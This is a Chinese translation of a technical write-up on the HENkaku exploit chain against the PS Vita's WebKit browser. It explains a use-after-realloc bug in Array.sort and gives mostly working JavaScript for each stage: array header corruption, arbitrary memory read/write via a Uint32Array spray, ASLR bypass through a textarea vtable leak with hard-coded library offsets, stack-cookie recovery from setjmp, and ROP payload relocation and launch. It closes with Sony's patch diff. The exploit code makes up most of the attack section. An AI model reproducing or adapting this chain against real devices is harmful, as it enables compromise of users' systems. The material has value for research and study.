我们将目标锁定在用户模式下能够进行代码执行的Webkit,Webkit有一个Javascript引擎,特别是当我们需要绕过ASLR时给予了我们很多的帮助。在PS Vita上的浏览器同样不需要登录PSN(PlayStation Network),不会自动更新,并且可以执行一个非常简单的利用链(访问网站并按下按钮)。
不像3DS没有ASLR,Vita webkit拥有一个可接纳9位墒增的ASRL,这使得通过暴力破解的方法异常艰难(一般情况下需要512次重启设备来触发利用,恐怖!)因此,我们需要一个比通用use-after-free + vptr覆盖更好的方案。
在此感谢我的朋友,让我能够设法获得一个不错的POC脚本用以在最新的固件中崩溃掉Vita的浏览器。接下来我们从这个脚本开始:
var almost_oversize = 0x3000; var foo = Array.prototype.constructor.apply(null, new Array(almost_oversize)); var o = {}; o.toString = function () { foo.push(12345); return ""; } foo[0] = 1; foo[1] = 0; foo[2] = o; foo.sort();
若你在Linux主机上使用Sony的WebKit运行它,你可以看到出现一个分段错误。画面转向调试器:
Thread 1 "GtkLauncher" received signal SIGSEGV, Segmentation fault. 0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152 152 m_value = JSValue::encode(value); (gdb) bt #0 0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152 #1 0x00007ffff32cb9bf in JSC::ContiguousTypeAccessor<(unsigned char)27>::setWithValue (vm=..., thisValue=0x7fff9911ff60, data=..., i=0, value=...) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1069 #2 0x00007ffff32c8809 in JSC::JSArray::sortCompactedVector<(unsigned char)27, JSC::WriteBarrier<JSC::Unknown> > (this=0x7fff9911ff60, exec=0x7fff9d6e8078, data=..., relevantLength=3) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1171 #3 0x00007ffff32c4933 in JSC::JSArray::sort (this=0x7fff9911ff60, exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1214 #4 0x00007ffff329c844 in JSC::attemptFastSort (exec=0x7fff9d6e8078, thisObj=0x7fff9911ff60, function=..., callData=..., callType=@0x7fffffffbfb4: JSC::CallTypeNone) at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:623 #5 0x00007ffff329db4c in JSC::arrayProtoFuncSort (exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:697 <the rest does not matter>
事实证明,当执行Javascript Array.sort函数时,其接触到未映射内存。这是怎么回事呢?
我们来看看JSArray::sort方法(Source/JavaScriptCore/runtime/JSArray.cpp)。因为我们的数组是ArrayWithContiguous类型,那么它是如何创建Array.prototype.constructor.apply(null, new Array(almost_oversize));我们进入sortCompactedVector函数瞧瞧,以下为它的完整实现:
template<IndexingType indexingType, typename StorageType> void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength) { if (!relevantLength) return; VM& vm = exec->vm(); // Converting JavaScript values to strings can be expensive, so we do it once up front and sort based on that. // This is a considerable improvement over doing it twice per comparison, though it requires a large temporary // buffer. Besides, this protects us from crashing if some objects have custom toString methods that return // random or otherwise changing results, effectively making compare function inconsistent. Vector<ValueStringPair, 0, UnsafeVectorOverflow> values(relevantLength); if (!values.begin()) { throwOutOfMemoryError(exec); return; } Heap::heap(this)->pushTempSortVector(&values); bool isSortingPrimitiveValues = true; for (size_t i = 0; i < relevantLength; i++) { JSValue value = ContiguousTypeAccessor<indexingType>::getAsValue(data, i); ASSERT(indexingType != ArrayWithInt32 || value.isInt32()); ASSERT(!value.isUndefined()); values[i].first = value; if (indexingType != ArrayWithDouble && indexingType != ArrayWithInt32) isSortingPrimitiveValues = isSortingPrimitiveValues && value.isPrimitive(); } // FIXME: The following loop continues to call toString on subsequent values even after // a toString call raises an exception. for (size_t i = 0; i < relevantLength; i++) values[i].second = values[i].first.toWTFStringInline(exec); if (exec->hadException()) { Heap::heap(this)->popTempSortVector(&values); return; } // FIXME: Since we sort by string value, a fast algorithm might be to use a radix sort. That would be O(N) rather // than O(N log N). #if HAVE(MERGESORT) if (isSortingPrimitiveValues) qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort); else mergesort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort); #else // FIXME: The qsort library function is likely to not be a stable sort. // ECMAScript-262 does not specify a stable sort, but in practice, browsers perform a stable sort. qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort); #endif // If the toString function changed the length of the array or vector storage, // increase the length to handle the orignal number of actual values. switch (indexingType) { case ArrayWithInt32: case ArrayWithDouble: case ArrayWithContiguous: ensureLength(vm, relevantLength); break; case ArrayWithArrayStorage: if (arrayStorage()->vectorLength() < relevantLength) { increaseVectorLength(exec->vm(), relevantLength); ContiguousTypeAccessor<indexingType>::replaceDataReference(&data, arrayStorage()->vector()); } if (arrayStorage()->length() < relevantLength) arrayStorage()->setLength(relevantLength); break; default: CRASH(); } for (size_t i = 0; i < relevantLength; i++) ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first); Heap::heap(this)->popTempSortVector(&values); }
该函数从JS array中获取值,并将这些值放入一个临时向量中,对向量进行排序,然后再将这些值传回JS array。在37行中的一个for循环,对每个使用toString方法的元素进行调用。当它调用我们的o对象时,会发生什么呢?
function () { foo.push(12345); return ""; }
一个已排序的整数被传送到数组,这将导致该数组元素重新进行分配。在81行该元素又写回数组,然而 没有用重新分配过的数值来更新 data指针,说明:
灰色区域为未分配内存,在调用realloc后在Linux上它实际是未映射的。与此同时,data依然是指向旧的内存位置。尝试向未映射内存写入数据,结果web浏览器得到一个分段错误。
根据不同的内容,JSArray对象在内存中可能会以不同的方式存储。不管怎样,我们只需做一件事,依照元素数据头(黄色)加上数组内容(绿色)进行连续存储内容仅仅是一个JSValue结构向量
union EncodedValueDescriptor { int64_t asInt64; double asDouble; struct { int32_t payload; int32_t tag; } asBits; };
该元数据头容纳了两个有趣的字段:
uint32_t m_publicLength; // The meaning of this field depends on the array type, but for all JSArrays we rely on this being the publicly visible length (array.length). uint32_t m_vectorLength; // The length of the indexed property storage. The actual size of the storage depends on this, and the type.
当前我们的目标是将这两个字段覆盖,并“扩展”数组让其超出实际分配空间。为了实现这一目标,接下来我们便修改o.toString方法:
var normal_length = 0x800; var fu = new Array(normal_length); var arrays = new Array(0x100); o.toString = function () { foo.push(12345); for (var i = 0; i < arrays.length; ++i) { var bar = Array.prototype.constructor.apply(null, fu); bar[0] = 0; bar[1] = 1; bar[2] = 2; arrays[i] = bar; } return ""; }
在这个例子中(并不反映实际数组的大小),当这个排序完的值通过data指针写回,两个第2的元数据头以及第3个bar被覆盖我们用什么东西来覆盖他们呢?记住,我们之前提到的绿色区域为JSValue对象的向量,每个JSValue对象为8字节。但是如果我们将foo填充进去,比如0×80000000,我们只能控制4个字节,其余的就留给tag使用,tag是什么?
enum { Int32Tag = 0xffffffff }; enum { BooleanTag = 0xfffffffe }; enum { NullTag = 0xfffffffd }; enum { UndefinedTag = 0xfffffffc }; enum { CellTag = 0xfffffffb }; enum { EmptyValueTag = 0xfffffffa }; enum { DeletedValueTag = 0xfffffff9 }; enum { LowestTag = DeletedValueTag };
WebKit JavaScriptCore 包以不同类型传入一个单一的JSValue结构:它可以是一个int类型,一个布尔类型,一个cell(指向对象的指针),null,未定义类型,或者一个double类型。所以我们写入54321,我们仅能控制该结构的一半,另一半被设置为Int32Tag或0xffffffff。然而,我们也可以写入double类型数据,比如54321.0。如此我们便能完全控制结构的8个字节了。接下来写入double类型数据:
foo[0] = o; var len = u2d(0x80000000, 0x80000000); for (var i = 1; i < 0x2000; ++i) foo[i] = len; foo.sort();
u2d/d2u是用于在int数据和double数据之间进行转换的小工具:
var _dview = null; // u2d/d2u taken from PSA-2013-0903 // wraps two uint32s into double precision function u2d(low,hi) { if (!_dview) _dview = new DataView(new ArrayBuffer(16)); _dview.setUint32(0,hi); _dview.setUint32(4,low); return _dview.getFloat64(0); } function d2u(d) { if (!_dview) _dview = new DataView(new ArrayBuffer(16)); _dview.setFloat64(0,d); return { low: _dview.getUint32(4), hi: _dview.getUint32(0) }; }
如果我们现在着眼于arrays,我们能够找到一些JSArray对象,这是由于扩展后超出其原本边界并且它们的长度被设置为0×80000000。这使我们成功的在Vita崩溃了一个JSArray对象,但是在Linux上只有在点击保护页面才会崩溃。无关痛痒,因为我们要搞的是Vita,又不是Linux。当我们向一个损坏了的bar对象写入数据,我们可以实现一个边界外读取/写入,真棒!接下来提升一下难度,实现真正意义上的任意读写。精明的读者可能已经注意到,由于Vita是一个32-bit控制器,且我们将长度设置为0×80000000,每个JSValue都是8个字节,事实上我们已经有任意读写的能力。此外,我们可以只写入double数据,以方便我们。
为了获取任意读写,我使用了与2.00-3.20WebKit exploit相同的窍门。 详情请阅读 Spray 缓冲区:
buffers = new Array(spray_size); buffer_len = 0x1344; for (var i = 0; i < buffers.length; ++i) buffers[i] = new Uint32Array(buffer_len / 4);
在内存中找到Uint32Array缓冲区,在破坏缓冲区(这里调用arr)之前在一些任意偏移量之中搜索元素
var start = 0x20000000-0x11000; for(;; start--) { if (arr[start] != 0) { _dview.setFloat64(0, arr[start]); if (_dview.getUint32(0) == buffer_len / 4) { // Found Uint32Array _dview.setUint32(0, 0xEFFFFFE0); arr[start] = _dview.getFloat64(0); // change buffer size _dview.setFloat64(0, arr[start-2]); heap_addr = _dview.getUint32(4); // leak some heap address _dview.setUint32(4, 0) _dview.setUint32(0, 0x80000000); arr[start-2] = _dview.getFloat64(0); // change buffer offset break; } } }
找到损坏的Uint32Array:
corrupted = null; for (var i = 0; i < buffers.length; ++i) { if (buffers[i].byteLength != buffer_len) { corrupted = buffers[i]; break; } } var u32 = corrupted;
至此获得真正意义上的任意读写,并且我们获得了一些泄漏的堆地址。
这里还是使用的老把戏textarea对象,首先修改最初的Uint32Array heap spray插入textarea对象:
spray_size = 0x4000; textareas = new Array(spray_size); buffers = new Array(spray_size); buffer_len = 0x1344; textarea_cookie = 0x66656463; textarea_cookie2 = 0x55555555; for (var i = 0; i < buffers.length; ++i) { buffers[i] = new Uint32Array(buffer_len / 4); var e = document.createElement("textarea"); e.rows = textarea_cookie; textareas[i] = e; }
使用损坏的Uint32Array对象,在内存中找寻textarea:
var some_space = heap_addr; search_start = heap_addr; for (var addr = search_start/4; addr < search_start/4 + 0x4000; ++addr) { if (u32[addr] == textarea_cookie) { u32[addr] = textarea_cookie2; textarea_addr = addr * 4; break; } } /* Change the rows of the Element object then scan the array of sprayed objects to find an object whose rows have been changed */ var found_corrupted = false; var corrupted_textarea; for (var i = 0; i < textareas.length; ++i) { if (textareas[i].rows == textarea_cookie2) { corrupted_textarea = textareas[i]; break; } }
至此,在textarea中我们有两个views:我们可以使用u32直接在内存中进行修改,并且可以从JavaScript调用该函数。这个想法的目的是通过我们的“内存访问”覆盖vptr,之后通过JavaScript调用修改后的函数表。
Vita有ASRL保护,这也是为什么我们不得不使用这么多exploit的原因。但随着任意读写,我们可以控制只泄漏textarea vptr,完美绕过ASLR:
function read_mov_r12(addr) { first = u32[addr/4]; second = u32[addr/4 + 1]; return ((((first & 0xFFF) | ((first & 0xF0000) >> 4)) & 0xFFFF) | ((((second & 0xFFF) | ((second & 0xF0000) >> 4)) & 0xFFFF) << 16)) >>> 0; } var vtidx = textarea_addr - 0x70; var textareavptr = u32[vtidx / 4]; SceWebKit_base = textareavptr - 0xabb65c; SceLibc_base = read_mov_r12(SceWebKit_base + 0x85F504) - 0xfa49; SceLibKernel_base = read_mov_r12(SceWebKit_base + 0x85F464) - 0x9031; ScePsp2Compat_base = read_mov_r12(SceWebKit_base + 0x85D2E4) - 0x22d65; SceWebFiltering_base = read_mov_r12(ScePsp2Compat_base + 0x2c688c) - 0x9e5; SceLibHttp_base = read_mov_r12(SceWebFiltering_base + 0x3bc4) - 0xdc2d; SceNet_base = read_mov_r12(SceWebKit_base + 0x85F414) - 0x23ED; SceNetCtl_base = read_mov_r12(SceLibHttp_base + 0x18BF4) - 0xD59; SceAppMgr_base = read_mov_r12(SceNetCtl_base + 0x9AB8) - 0x49CD;
接下来我们来聊聊代码执行,Vita没有JIT并且不可能分配RWX内存,所以我们不得不在ROP中写入整个payload。旧的exploit调用JSoS,详细描述 戳这里 。然而在这里损坏JSArray对象后,浏览器变得很不稳定,所以我们要尽可能的减少运行JavaScript。 Davee 写的新版本 roptool 支持ASLR,这里的思路是roptool输出中的一些字(一个字为4个字节)需要给它们重新指定配置信息。在重新配置payload之后,也就是要向这些字添加不同的base(SceWebKit_base/SceLibc_base/etc),我们可以正常打开由此产生的ROP链。
因为不知道固件版本,所以这里还有一个解决方案:当你的线程栈指针还在其堆栈时,会检测内核。如果不是这种情况,会结束掉整个应用程序。为了绕过,需要在线程栈中 安置我们的ROP链 。要做到这一点,就需要得知线程栈的虚拟地址,由于ASRL我们无从得知。然而,我们可以任意读写。有很多方法泄漏出堆栈指针,这里我使用 setjmp 函数。
下面我们就调用它:
// copy vtable for (var i = 0; i < 0x40; i++) u32[some_space / 4 + i] = u32[textareavptr / 4 + i]; u32[vtidx / 4] = some_space; // backup our obj for (var i = 0; i < 0x30; ++i) backup[i] = u32[vtidx/4 + i]; // call setjmp and leak stack base u32[some_space / 4 + 0x4e] = SceLibc_base + 0x14070|1; // setjmp corrupted_textarea.scrollLeft = 0; // call setjmp
现在我们的corrupted_textarea在内存已被jmp_buf覆盖,之后我们恢复最初的内容。这样做是为了保证当我们试图用损坏的textarea对象做一些事情的时候,JavaScript不会让浏览器崩溃。
// restore our obj for (var i = 0; i < 0x30; ++i) u32[vtidx/4 + i] = backup[i];
不辛的是,如果我们在SceLibc中注意到setjmp实现,我们碰上了另一个利用缓解方案:
ROM:81114070 setjmp ROM:81114070 PUSH {R0,LR} ROM:81114072 BL sub_81103DF2 // Returns high-quality random cookie ROM:81114076 POP {R1,R2} ROM:81114078 MOV LR, R2 ROM:8111407A MOV R3, SP ROM:8111407C STMIA.W R1!, {R4-R11} ROM:81114080 EORS R2, R0 // LR is XOR'ed with a cookie ROM:81114082 EORS R0, R3 // SP is XOR'ed with the same cookie ROM:81114084 STMIA R1!, {R0,R2} ROM:81114086 VSTMIA R1!, {D8-D15} ROM:8111408A VMRS R2, FPSCR ROM:8111408E STMIA R1!, {R2} ROM:81114090 MOV.W R0, #0 ROM:81114094 BX LR
所以:
stored_LR = LR ^ cookie stored_SP = SP ^ cookie
得知SceWebKit_base后,可以判断出LR的真实值使用了离散代数黑魔法:
cookie = stored_LR ^ LR SP = stored_SP ^ cookie SP = stored_SP ^ (stored_LR ^ LR)
或者在JavaScript:
sp = (u32[vtidx/4 + 8] ^ ((u32[vtidx/4 + 9] ^ (SceWebKit_base + 0x317929)) >>> 0)) >>> 0; sp -= 0xef818; // adjust to get SP base
现在我们可以将ROP Payload写入线程栈,并且保证应用程序进程不会被杀掉。
首先,我们重新配置ROP payload,记住我们是如何得到这个payload以及relocs,在payload.js中,你可以看到:
payload = [2119192402,65537,0,0,1912 // and it goes on... relocs = [0,0,0,0,0,0,0,0,0,0,0,0,0,0, // ...
每个来自relocs数组的数字表明了一个payload成员已经重新配置。例如0表示没有进行重新配置,1表示增加rop_data_base,2表示增加SceWebKit_base,3表示增加SceLibKernel_base。(一个roptool-generated ROP链有两个部分:代码和数据。代码为ROP堆栈,数据为类似字符串或缓冲器填充物。rop_data_base为数据的vaddr,rop_code_base为代码的vaddr)接下来连续循环重新配置payload到线程栈的操作:
// relocate the payload rop_data_base = sp + 0x40; rop_code_base = sp + 0x10000; addr = sp / 4; // Since relocs are applied to the whole rop binary, not just code/data sections, we replicate // this behavior here. However, we split it into data section (placed at the top of the stack) // and code section (placed at stack + some big offset) for (var i = 0; i < payload.length; ++i, ++addr) { if (i == rop_header_and_data_size) addr = rop_code_base / 4; switch (relocs[i]) { case 0: u32[addr] = payload[i]; break case 1: u32[addr] = payload[i] + rop_data_base; break; /* skipped most relocs */ default: alert("wtf?"); alert(i + " " + relocs[i]); } }
在这个循环中,我们将payload分为两部分:代码和数据部分。所以我们一旦完成重新配置数据部分: if (i == rop_header_and_data_size),我们就切换到代码部分:addr = rop_code_base / 4
图片左边为ROP链是如何存储在payload数组。在图片右边为ROP链是如何写入堆栈。最后,触发ROP链:
// 54c8: e891a916 ldm r1, {r1, r2, r4, r8, fp, sp, pc} u32[some_space / 4 + 0x4e] = SceWebKit_base + 0x54c8; var ldm_data = some_space + 0x100; u32[ldm_data/4 + 5] = rop_code_base; // sp u32[ldm_data/4 + 6] = SceWebKit_base + 0xc048a|1; // pc = pop {pc} // This alert() is used to distinguish between the webkit exploit fail // and second stage exploit fail // - If you don't see it, the webkit exploit failed // - If you see it and then the browser crashes, the second stage failed alert("Welcome to HENkaku!"); corrupted_textarea.scrollLeft = ldm_data; // trigger ropchain, r1=arg // You won't see this alert() unless something went terribly wrong alert("that's it");
当corrupted_textarea.scrollLeft = ldm_data完成,我们的LDM工具将被调用,由于覆盖了vtable,R1会变成ldm_data,所以它会从这个缓冲区加载SP = rop_code_base和PC = pop {pc},因此将启动ROP链。
索尼会定期更新这个WebKit的源码,按照 LGPL的要求 以下为对比3.60与3.61源码之间的差异(已省略不相关部分):
diff -r 360/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp 361/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp 1087,1096c1087,1123 - } - }; - - - template<IndexingType indexingType, typename StorageType> - void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength) - { - if (!relevantLength) - return; - --- + } + }; + + template <> + ContiguousJSValues JSArray::storage<ArrayWithInt32, WriteBarrier<Unknown> >() + { + return m_butterfly->contiguousInt32(); + } + + template <> + ContiguousDoubles JSArray::storage<ArrayWithDouble, double>() + { + return m_butterfly->contiguousDouble(); + } + + template <> + ContiguousJSValues JSArray::storage<ArrayWithContiguous, WriteBarrier<Unknown> >() + { + return m_butterfly->contiguous(); + } + + template <> + ContiguousJSValues JSArray::storage<ArrayWithArrayStorage, WriteBarrier<Unknown> >() + { + ArrayStorage* storage = m_butterfly->arrayStorage(); + ASSERT(!storage->m_sparseMap); + return storage->vector(); + } + + template<IndexingType indexingType, typename StorageType> + void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength) + { + data = storage<indexingType, StorageType>(); + + if (!relevantLength) + return; + 1167,1172c1194,1200 - CRASH(); - } - - for (size_t i = 0; i < relevantLength; i++) - ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first); - --- + CRASH(); + } + + data = storage<indexingType, StorageType>(); + for (size_t i = 0; i < relevantLength; i++) + ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first); +
在写值之前修正了data指针。所以即使数组获得reallocated,仍然会写入到适当的内存中。这也是尝试在3.61运行HENkaku造成alert(“restart the browser”)错误的原因。
希望你能够喜欢这篇文章,由于我写了太多HENkaku exploit chain,被禁止参加 KOTH challenge ,但至少我还是享受了整个挑战的快感!
*参考来源: xyz ,FB小编鸢尾编译,转载请注明来自FreeBuf.COM。